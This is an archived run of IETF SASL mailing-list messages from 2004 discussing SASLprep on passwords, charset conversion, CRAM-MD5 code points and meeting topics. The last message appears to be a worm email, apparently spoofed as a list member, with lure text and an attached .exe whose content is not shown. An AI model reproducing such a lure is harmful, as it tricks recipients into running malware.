i0D0ZWJ2015453; Mon, 12 Jan 2004 16:35:33 -0800 Received: from networking.Stanford.EDU (hodges@localhost) by networking.Stanford.EDU (8.11.7/8.11.6) with ESMTP id i0D0ZW723951; Mon, 12 Jan 2004 16:35:32 -0800 (PST) Message-Id: <200401130035.i0D0ZW723951@networking.Stanford.EDU> X-Authentication-Warning: networking.Stanford.EDU: hodges owned process doing -bs X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 Subject: Re: A different thought on saslprep To: Paul Hoffman / IMC cc: ietf-sasl@imc.org In-reply-to: Paul Hoffman / IMC 's message of Mon, 12 Jan 2004 15:17:45 -0800 From: Jeff.Hodges@KingsMountain.com Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Mon, 12 Jan 2004 16:35:32 -0800 Sender: owner-ietf-sasl@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: > The second is a security consideration. Running saslprep over a > shared secret reduces the entropy of the shared secret by eliminating > some characters and mapping others. I was looking at SASLPrep this weekend for the first time and this caught my eye. > Not a big deal, but it does make an attacker's job easier. How big a deal it is, is in the eye of those who're trying to secure their resources, especially given the latter observation. Given that security issue with using SASLPrep on passwords, plus the other two issues Paul mentions with that application of SASLPrep, I wonder if the requirement that passwords be run thru SASLPrep (section 4.4 of draft-ietf-sasl-rfc2222bis-04.txt) really should be a MAY. JeffH From owner-ietf-sasl Mon Jan 12 18:18:44 2004 Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0D2Iiib027331; Mon, 12 Jan 2004 18:18:44 -0800 (PST) (envelope-from owner-ietf-sasl@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0D2Iiki027329; Mon, 12 Jan 2004 18:18:44 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-sasl@mail.imc.org using -f Received: from [10.0.2.2] (adsl-63-202-92-157.dsl.snfc21.pacbell.net [63.202.92.157]) (authenticated bits=0) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0D2Ific027314 for ; Mon, 12 Jan 2004 18:18:41 -0800 (PST) (envelope-from phoffman@imc.org) Mime-Version: 1.0 X-Sender: phoffman@mail.imc.org Message-Id: In-Reply-To: <200401130035.i0D0ZW723951@networking.Stanford.EDU> References: <200401130035.i0D0ZW723951@networking.Stanford.EDU> X-Habeas-SWE-1: winter into spring X-Habeas-SWE-2: brightly anticipated X-Habeas-SWE-3: like Habeas SWE (tm) X-Habeas-SWE-4: Copyright 2002 Habeas (tm) X-Habeas-SWE-5: Sender Warranted Email (SWE) (tm). The sender of this X-Habeas-SWE-6: email in exchange for a license for this Habeas X-Habeas-SWE-7: warrant mark warrants that this is a Habeas Compliant X-Habeas-SWE-8: Message (HCM) and not spam. Please report use of this X-Habeas-SWE-9: mark in spam to . Date: Mon, 12 Jan 2004 18:18:42 -0800 To: ietf-sasl@imc.org From: Paul Hoffman / IMC Subject: Re: A different thought on saslprep Content-Type: text/plain; charset="us-ascii" ; format="flowed" Sender: owner-ietf-sasl@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: At 4:35 PM -0800 1/12/04, Jeff.Hodges@KingsMountain.com wrote: > > The second is a security consideration. Running saslprep over a >> shared secret reduces the entropy of the shared secret by eliminating >> some characters and mapping others. > >I was looking at SASLPrep this weekend for the first time and this caught my >eye. > >> Not a big deal, but it does make an attacker's job easier. > >How big a deal it is, is in the eye of those who're trying to secure their >resources, especially given the latter observation. We can't say by how much it makes it easier. >Given that security issue with using SASLPrep on passwords, plus the other two >issues Paul mentions with that application of SASLPrep, I wonder if the >requirement that passwords be run thru SASLPrep (section 4.4 of >draft-ietf-sasl-rfc2222bis-04.txt) really should be a MAY. How would that work? How would one end know whether or not the other end had done the saslprep? That seems like an invitation to lack of interop. --Paul Hoffman, Director --Internet Mail Consortium From owner-ietf-sasl Mon Jan 12 20:50:09 2004 Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0D4o9ib038050; Mon, 12 Jan 2004 20:50:09 -0800 (PST) (envelope-from owner-ietf-sasl@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0D4o9QT038049; Mon, 12 Jan 2004 20:50:09 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-sasl@mail.imc.org using -f Received: from mauve.mrochek.com (mauve.mrochek.com [209.55.107.55]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0D4o7id038035 for ; Mon, 12 Jan 2004 20:50:08 -0800 (PST) (envelope-from ned+ietf-sasl@mrochek.com) Received: from mauve.mrochek.com by mauve.mrochek.com (PMDF V6.1-1 #35243) id <01L59XEO364W00Q4RU@mauve.mrochek.com> (original mail from NED@mauve.mrochek.com) for ietf-sasl@imc.org; Mon, 12 Jan 2004 20:50:04 -0800 (PST) Date: Mon, 12 Jan 2004 18:22:20 -0800 (PST) From: ned+ietf-sasl@mrochek.com Subject: Re: A different thought on saslprep In-reply-to: "Your message dated Mon, 12 Jan 2004 15:17:45 -0800" To: Paul Hoffman / IMC Cc: ietf-sasl@imc.org Message-id: <01L5BPIBP67S00Q4RU@mauve.mrochek.com> MIME-version: 1.0 Content-type: TEXT/PLAIN; CHARSET=us-ascii; format=flowed Content-transfer-encoding: 7BIT References: Sender: owner-ietf-sasl@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: > Greetings again. Sorry for coming in so late on this, but three > issues were just pointed out to me about this document and I thought > they might be worthy of discussion. > The first is an implementation issue. In order to use saslprep on the > shared secret, the application needs to know the text encoding used > to enter the shared secret. Until now, that has always been ASCII, so > no big problem there. However, once we open up to the Unicode > character set, we also open up to a zillion odd text encodings > (UTF-8, BIG5, ISO 8859-7, ...). Is anyone worried that that programs > will get the conversion from what the user entered for the shared > secret into Unicode code points wrong? I for one am worried about it. But I don't think there's much we can do to fix it. Here's a specific example that illustrates why I'm worried. The ISO-2022-JP charset is based on four coded character sets: ASCII, JIS X 0201-1976, JIS X 0208-1978, and JIS X 0208-1983. However, in practice we sometimes see ISO-2022-JP encoding and labelling applied to CP932, Microsoft's "extended" version of JIS 0208. But only only does CP932 extend JIS 0208 to include various additional character like circled digits, it also differs from JIS 0208 in some positions. As you might have guessed, this is a real world example, not an academic one. Ned From owner-ietf-sasl Mon Jan 12 21:29:08 2004 Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0D5T8ib040612; Mon, 12 Jan 2004 21:29:08 -0800 (PST) (envelope-from owner-ietf-sasl@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0D5T8I1040611; Mon, 12 Jan 2004 21:29:08 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-sasl@mail.imc.org using -f Received: from jalapeno.cc.columbia.edu (IDENT:cu41754@jalapeno.cc.columbia.edu [128.59.59.238]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0D5T7ib040605 for ; Mon, 12 Jan 2004 21:29:07 -0800 (PST) (envelope-from jaltman@columbia.edu) Received: from columbia.edu (66-108-138-151.nyc.rr.com [66.108.138.151]) (user=jaltman mech=PLAIN bits=0) by jalapeno.cc.columbia.edu (8.12.10/8.12.10) with ESMTP id i0D5T92O029420 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT) for ; Tue, 13 Jan 2004 00:29:09 -0500 (EST) Message-ID: <40038223.2050000@columbia.edu> Date: Tue, 13 Jan 2004 00:29:07 -0500 From: Jeffrey Altman Organization: No Longer Affiliated with Columbia University in the City of New York User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6b) Gecko/20031208 X-Accept-Language: en-us, en MIME-Version: 1.0 To: ietf-sasl@imc.org Subject: Re: CRAM-MD5 stringprep text References: <2147483647.1073918049@115.216-123-230-0.interbaun.com> <2147483647.1073925785@115.216-123-230-0.interbaun.com> In-Reply-To: <2147483647.1073925785@115.216-123-230-0.interbaun.com> Content-Type: multipart/signed; protocol="application/x-pkcs7-signature"; micalg=sha1; boundary="------------ms040602000106040805090903" X-No-Spam-Score: Local X-Scanned-By: MIMEDefang 2.35 Sender: owner-ietf-sasl@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: This is a cryptographically signed message in MIME format. --------------ms040602000106040805090903 Content-Type: multipart/alternative; boundary="------------030206040000030107090908" This is a multi-part message in MIME format. --------------030206040000030107090908 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Lyndon Nerenberg wrote: > > --On 2004-1-12 5:38 PM -0500 Sam Hartman wrote: > >> I'd like to hear from people who believe we should allow unassigned >> codepoints in cram-md5. > > > Taking off my editor's visor, I personally think this whole issue is > out of scope for the CRAM document, and needs to be addressed in the > base SASL document, or not at all (i.e. let the stringprep document > says what needs to be said, if anything). > > --lyndon I agree. As for whether or not unassigned points may be sent? yes. May they be stored? no. This is to prevent interoperability problems if SASLprep was to be updated to support a newer version of Unicode. Jeffrey Altman P.S. - the only possible exception would be the private use area for internal use. but as was demonstrated during the last IETF meeting, while it is theoretically possible for private use area characters to be treated as assigned internal to an organization, the hoops that would have to be gone through to make it work hardly seem worth it. --------------030206040000030107090908 Content-Type: text/html; charset=us-ascii Content-Transfer-Encoding: 7bit Lyndon Nerenberg wrote:

--On 2004-1-12 5:38 PM -0500 Sam Hartman <hartmans@mit.edu> wrote:

I'd like to hear from people who believe we should allow unassigned
codepoints in cram-md5.

Taking off my editor's visor, I personally think this whole issue is out of scope for the CRAM document, and needs to be addressed in the base SASL document, or not at all (i.e. let the stringprep document says what needs to be said, if anything).

--lyndon
I agree.

As for whether or not unassigned points may be sent? yes.   May they be stored? no.
This is to prevent interoperability problems if SASLprep was to be updated to support a newer
version of Unicode. 

Jeffrey Altman

P.S. - the only possible exception would be the private use area for internal use.  but
as was demonstrated during the last IETF meeting, while it is theoretically possible for
private use area characters to be treated as assigned internal to an organization, the
hoops that would have to be gone through to make it work hardly seem worth it.


--------------030206040000030107090908-- --------------ms040602000106040805090903 Content-Type: application/x-pkcs7-signature; name="smime.p7s" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="smime.p7s" Content-Description: S/MIME Cryptographic Signature MIAGCSqGSIb3DQEHAqCAMIACAQExCzAJBgUrDgMCGgUAMIAGCSqGSIb3DQEHAQAAoIIJUDCC AwYwggJvoAMCAQICAwpxijANBgkqhkiG9w0BAQQFADCBkjELMAkGA1UEBhMCWkExFTATBgNV BAgTDFdlc3Rlcm4gQ2FwZTESMBAGA1UEBxMJQ2FwZSBUb3duMQ8wDQYDVQQKEwZUaGF3dGUx HTAbBgNVBAsTFENlcnRpZmljYXRlIFNlcnZpY2VzMSgwJgYDVQQDEx9QZXJzb25hbCBGcmVl bWFpbCBSU0EgMjAwMC44LjMwMB4XDTAzMDczMDAyMDkyOFoXDTA0MDcyOTAyMDkyOFowRjEf MB0GA1UEAxMWVGhhd3RlIEZyZWVtYWlsIE1lbWJlcjEjMCEGCSqGSIb3DQEJARYUamFsdG1h bkBjb2x1bWJpYS5lZHUwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDBtDG6ZyGA sK+rZOfKPKGBn6oCTLYSLk/mpeX9QTmTG71qh308KUeN35qqoRXjLvscfw6NPOYXiuxE/RqL sx7WKEnK3C4gzzpioCTX1b7o4M7YbpvCRBFPE9Jgsd0yz2EN+mk/pPuK1GP+iQNot2m4A56A aPe6F5T25GqffU535GNIdAtWPao6wHcOm17se25ny/TNzb9mlA4UzYl9XP7MF1fkpJyaDDAy DNNTSSjxBdPVs2EaYq1p/xadXbIpysQiySXAxoeiZusgJopRHLcBsBmmY9QVD4QnUqZVmfJ5 f1CiNri5vlexKCmdFSrxMLuoLr4EQZCECdusp6ZnIt75AgMBAAGjMTAvMB8GA1UdEQQYMBaB FGphbHRtYW5AY29sdW1iaWEuZWR1MAwGA1UdEwEB/wQCMAAwDQYJKoZIhvcNAQEEBQADgYEA DPKe/CuAgEUxsrPskJQx2fL6soAEG2iqrqOGIRREHDaXWDBNMEWEbOEMLvh3+yhqHOUc9x3r 2IfsP/XHnujaqsMVXLagokVTnpPN675wv8LZ8hLHblLnykaTCq6RZpVskh2iAiJwpYMcKNF6 jyYaQyGHBGT3PK8uVGVCG4Pp9k4wggMGMIICb6ADAgECAgMKcYowDQYJKoZIhvcNAQEEBQAw gZIxCzAJBgNVBAYTAlpBMRUwEwYDVQQIEwxXZXN0ZXJuIENhcGUxEjAQBgNVBAcTCUNhcGUg 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 AgCAMA0GCCqGSIb3DQMCAgFAMAcGBSsOAwIHMA0GCCqGSIb3DQMCAgEoMIGrBgkrBgEEAYI3 EAQxgZ0wgZowgZIxCzAJBgNVBAYTAlpBMRUwEwYDVQQIEwxXZXN0ZXJuIENhcGUxEjAQBgNV BAcTCUNhcGUgVG93bjEPMA0GA1UEChMGVGhhd3RlMR0wGwYDVQQLExRDZXJ0aWZpY2F0ZSBT ZXJ2aWNlczEoMCYGA1UEAxMfUGVyc29uYWwgRnJlZW1haWwgUlNBIDIwMDAuOC4zMAIDCnGK MIGtBgsqhkiG9w0BCRACCzGBnaCBmjCBkjELMAkGA1UEBhMCWkExFTATBgNVBAgTDFdlc3Rl cm4gQ2FwZTESMBAGA1UEBxMJQ2FwZSBUb3duMQ8wDQYDVQQKEwZUaGF3dGUxHTAbBgNVBAsT FENlcnRpZmljYXRlIFNlcnZpY2VzMSgwJgYDVQQDEx9QZXJzb25hbCBGcmVlbWFpbCBSU0Eg MjAwMC44LjMwAgMKcYowDQYJKoZIhvcNAQEBBQAEggEAF2ZxZN6ZPNfUObS+XobGs8cp/3O+ B6oMZ2NO0mgYGdWfXfpbCNUF7j3rOGAYvd9nY2nHGbBD7PMGXLmwAzAlnyBsS0FsJl6y7N9J mBLBNybA/vGsvHkOqiJORd4tLPqLgsHkJOfQOzu/oTsL2iKne2/N3JvuOIzq5zjE2/p9O647 VDtqInF8wLQNtbfye8cnzegAnmZx7W1CDMSLO0xFt5Sn9FfvfxCmukTmMPPKyXOyhdZG+p/4 oEexvkuG/kZaHINE85sQm5XXnJBn1RZY9Vs6AEXHJEQ8CYi9SDAOrr125/ZBPA0IcVRtUE+T vuiTJ595FfKgs4g/WqSdgiGyAQAAAAAAAA== --------------ms040602000106040805090903-- From owner-ietf-sasl Tue Jan 13 04:21:00 2004 Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0DCL0ib033423; Tue, 13 Jan 2004 04:21:00 -0800 (PST) (envelope-from owner-ietf-sasl@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0DCL08G033419; Tue, 13 Jan 2004 04:21:00 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-sasl@mail.imc.org using -f Received: from rufus.isode.com (rufus.isode.com [62.3.217.251]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0DCKsib033412 for ; Tue, 13 Jan 2004 04:20:59 -0800 (PST) (envelope-from Alexey.Melnikov@isode.com) Received: from isode.com (shiny.isode.com [62.3.217.250]) by rufus.isode.com via TCP (with SMTP (internal)) with ESMTPA; Tue, 13 Jan 2004 12:20:48 +0000 Message-ID: <4003E29C.1060204@isode.com> Date: Tue, 13 Jan 2004 12:20:44 +0000 From: Alexey Melnikov User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 (ax) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Sam Hartman CC: ietf-sasl@imc.org Subject: Re: Things to discuss in Seoul References: <20040112224252.01D0B1515FF@konishi-polis.mit.edu> In-Reply-To: <20040112224252.01D0B1515FF@konishi-polis.mit.edu> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-ietf-sasl@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: Sam Hartman wrote: >Who will be there in Seoul? > I should be there. > I'm trying to get a good idea of what >drafts we can focus on for that meeting. Presumably regardless of >attendance we'll try and do as much as we can on the base spec, >stringprep, plain and anonymous. > I was under impression that the last two are basically done? > We are trying to get those drafts to >the IESG. > >But among the remaining documents it may be better to focus time based >on who is available. > > >Also, if you have specific issues that need meeting time, please /let >us know. > I would like to have some discussions about DIGEST-MD5 (in particular selecting a single way of fixing CBC mode attack fix) and GSSAPI with people who are interested. Also, as usual, I am interested in hearing more feedback on SASL C API and HTTP SASL draft I am coauthoring. Alexey From owner-ietf-sasl Tue Jan 13 09:48:56 2004 Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0DHmuib054194; Tue, 13 Jan 2004 09:48:56 -0800 (PST) (envelope-from owner-ietf-sasl@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0DHmuqm054193; Tue, 13 Jan 2004 09:48:56 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-sasl@mail.imc.org using -f Received: from smtp3.Stanford.EDU (smtp3.Stanford.EDU [171.67.16.117]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0DHmtib054183 for ; Tue, 13 Jan 2004 09:48:55 -0800 (PST) (envelope-from Jeff.Hodges@KingsMountain.com) Received: from networking.Stanford.EDU (networking.Stanford.EDU [171.64.20.23]) by smtp3.Stanford.EDU (8.12.10/8.12.10) with ESMTP id i0DHmtGX016891 for ; Tue, 13 Jan 2004 09:48:56 -0800 Received: from networking.Stanford.EDU (hodges@localhost) by networking.Stanford.EDU (8.11.7/8.11.6) with ESMTP id i0DHmtg27709 for ; Tue, 13 Jan 2004 09:48:55 -0800 (PST) Message-Id: <200401131748.i0DHmtg27709@networking.Stanford.EDU> X-Authentication-Warning: networking.Stanford.EDU: hodges owned process doing -bs X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 Subject: Re: A different thought on saslprep To: ietf-sasl@imc.org In-reply-to: Paul Hoffman / IMC 's message of Mon, 12 Jan 2004 18:18:42 -0800 Reply-to: Jeff.Hodges@KingsMountain.com From: Jeff.Hodges@KingsMountain.com Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Tue, 13 Jan 2004 09:48:55 -0800 Sender: owner-ietf-sasl@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: > >Given that security issue with using SASLPrep on passwords, plus the other two > >issues Paul mentions with that application of SASLPrep, I wonder if the > >requirement that passwords be run thru SASLPrep (section 4.4 of > >draft-ietf-sasl-rfc2222bis-04.txt) really should be a MAY. > > How would that work? How would one end know whether or not the other > end had done the saslprep? That seems like an invitation to lack of > interop. ah, indeed. JeffH From owner-ietf-sasl Tue Jan 13 11:29:35 2004 Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0DJTZib060584; Tue, 13 Jan 2004 11:29:35 -0800 (PST) (envelope-from owner-ietf-sasl@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0DJTZV1060583; Tue, 13 Jan 2004 11:29:35 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-sasl@mail.imc.org using -f Received: from konishi-polis.mit.edu (STRATTON-FOUR-SIXTY-FOUR.MIT.EDU [18.187.6.209]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0DJTUib060577 for ; Tue, 13 Jan 2004 11:29:30 -0800 (PST) (envelope-from hartmans@mit.edu) Received: by konishi-polis.mit.edu (Postfix, from userid 8042) id 4726B151600; Tue, 13 Jan 2004 14:29:31 -0500 (EST) To: Alexey Melnikov Cc: ietf-sasl@imc.org Subject: Re: Things to discuss in Seoul References: <20040112224252.01D0B1515FF@konishi-polis.mit.edu> <4003E29C.1060204@isode.com> From: Sam Hartman Date: Tue, 13 Jan 2004 14:29:31 -0500 In-Reply-To: <4003E29C.1060204@isode.com> (Alexey Melnikov's message of "Tue, 13 Jan 2004 12:20:44 +0000") Message-ID: User-Agent: Gnus/5.1002 (Gnus v5.10.2) Emacs/21.2 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-ietf-sasl@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: >>>>> "Alexey" == Alexey Melnikov writes: Alexey> Sam Hartman wrote: >> Who will be there in Seoul? >> Alexey> I should be there. >> I'm trying to get a good idea of what drafts we can focus on >> for that meeting. Presumably regardless of attendance we'll >> try and do as much as we can on the base spec, stringprep, >> plain and anonymous. >> Alexey> I was under impression that the last two are basically Alexey> done? >> We are trying to get those drafts to the IESG. >> >> But among the remaining documents it may be better to focus >> time based on who is available. >> >> >> Also, if you have specific issues that need meeting time, >> please /let us know. >> Alexey> I would like to have some discussions about DIGEST-MD5 (in Alexey> particular selecting a single way of fixing CBC mode Alexey> attack fix) and GSSAPI with people who are interested. Alexey> Also, as usual, I am interested in hearing more feedback Alexey> on SASL C API and HTTP SASL draft I am coauthoring. Alexey> Alexey As am I. From owner-ietf-sasl Sun Jan 18 18:38:19 2004 Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0J2cJib002030; Sun, 18 Jan 2004 18:38:19 -0800 (PST) (envelope-from owner-ietf-sasl@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0J2cJsA002029; Sun, 18 Jan 2004 18:38:19 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-sasl@mail.imc.org using -f Received: from konishi-polis.mit.edu (YahooBB219198240010.bbtec.net [219.198.240.10]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0J2cGib002023 for ; Sun, 18 Jan 2004 18:38:18 -0800 (PST) (envelope-from hartmans@mit.edu) Received: by konishi-polis.mit.edu (Postfix, from userid 8042) id B221F1515EB; Sun, 18 Jan 2004 21:37:49 -0500 (EST) To: Lyndon Nerenberg Cc: ietf-sasl@imc.org Subject: Re: CRAM-MD5 stringprep text References: <2147483647.1073918049@115.216-123-230-0.interbaun.com> <2147483647.1073925785@115.216-123-230-0.interbaun.com> From: Sam Hartman Date: Thu, 15 Jan 2004 22:53:20 -0500 In-Reply-To: <2147483647.1073925785@115.216-123-230-0.interbaun.com> (Lyndon Nerenberg's message of "Mon, 12 Jan 2004 16:43:05 -0700") Message-ID: User-Agent: Gnus/5.1002 (Gnus v5.10.2) Emacs/21.2 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-ietf-sasl@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: >>>>> "Lyndon" == Lyndon Nerenberg writes: Lyndon> --On 2004-1-12 5:38 PM -0500 Sam Hartman Lyndon> wrote: >> I'd like to hear from people who believe we should allow >> unassigned codepoints in cram-md5. Lyndon> Taking off my editor's visor, I personally think this Lyndon> whole issue is out of scope for the CRAM document, and Lyndon> needs to be addressed in the base SASL document, or not at Lyndon> all (i.e. let the stringprep document says what needs to Lyndon> be said, if anything). I'm currently sitting on a plane, and while I have my personal mail, I don't seem to have comments only addressed to the SASL list. Apologies if this is already addressed. I disagree and believe that the choice of encoding and normalization for the authentication identity is entirely a matter of choice for the mechanism document and is out of scope for normative comments from the base spec. The base spec can and does give advice on what best practice is with regard to these issues. For example the GSSAPI document cannot say to use UTF8 or any particular normalization; both these issues are matters for the GSSAPI mechanism document to decide. Some existing mechanisms do not currently support UTF8 but do support internationalized GSSAPI names. From owner-ietf-sasl Mon Jan 19 16:42:33 2004 Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0K0gXib048189; Mon, 19 Jan 2004 16:42:33 -0800 (PST) (envelope-from owner-ietf-sasl@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0K0gXL6048187; Mon, 19 Jan 2004 16:42:33 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-sasl@mail.imc.org using -f Received: from yusron ([202.81.60.26]) by above.proper.com (8.12.10/8.12.8) with SMTP id i0K0evic048130 for ; Mon, 19 Jan 2004 16:41:00 -0800 (PST) (envelope-from lyndon@orthanc.ab.ca) Date: Tue, 20 Jan 2004 07:44:42 +0700 To: ietf-sasl@imc.org Subject: Hi From: lyndon@orthanc.ab.ca Message-ID: MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="--------462482681382150" Sender: owner-ietf-sasl@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: ----------462482681382150 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Test =) gpawmqbrtrgsjcjmdan -- Test, yep. ----------462482681382150 Content-Type: application/x-msdownload; name="wlh.exe" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="clninlyn.exe" 